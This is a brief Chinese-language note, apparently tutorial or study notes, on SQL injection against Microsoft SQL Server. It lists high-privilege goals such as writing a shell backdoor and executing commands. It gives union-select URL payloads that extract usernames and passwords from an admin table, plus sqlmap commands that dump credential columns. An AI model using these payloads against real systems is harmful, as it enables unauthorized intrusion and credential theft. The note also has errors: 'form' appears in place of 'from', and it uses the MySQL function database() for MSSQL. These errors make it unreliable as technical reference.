web渗透sql注入3之mssql(sql server)
sql server(mssql)
数据库特性:
sql server(mssql)数据库有用户权限区分,能读写文件,能执行命令等
权限判断:
白盒看代码,黑盒通过特殊查询探测当前用户权限SELECT USER, SYSTEM_USER, CURRENT_USER, USER_NAME();
权限类型:
低权限
常规注入
高权限
常规注入
文件读写,读敏感信息,写入shell后门,命令执行
注入过程:
1)判断当前表有多少列,How mush columns number
?id=1 order by 23
?id=1 order by 5
2)获取数据库 Get database
?id=1 union select 1,2,3,4,database()
3)使用字典获取表名 We can use dict check table name
?id=1 union select 1,2,3,4,5 form admin
4)使用字典获取字段名称 We can use dict check columns name
?id=1 union select 1,username,3,password,5 form admin
注入工具
sqlmap
python sqlmap.py -r 1.txt
python sqlmap.py -r 1.txt --dbs
python sqlmap.py -r 1.txt --current-dbs
python sqlmap.py -r 1.txt --tables -D "databasename"
python sqlmap.py -r 1.txt --columns -T "tablename" -D "databasename"
python sqlmap.py -r 1.txt --dump -C "username,password" -T "tablename" -D "databasename"
注意事项
注入时候考虑闭合,请求数据格式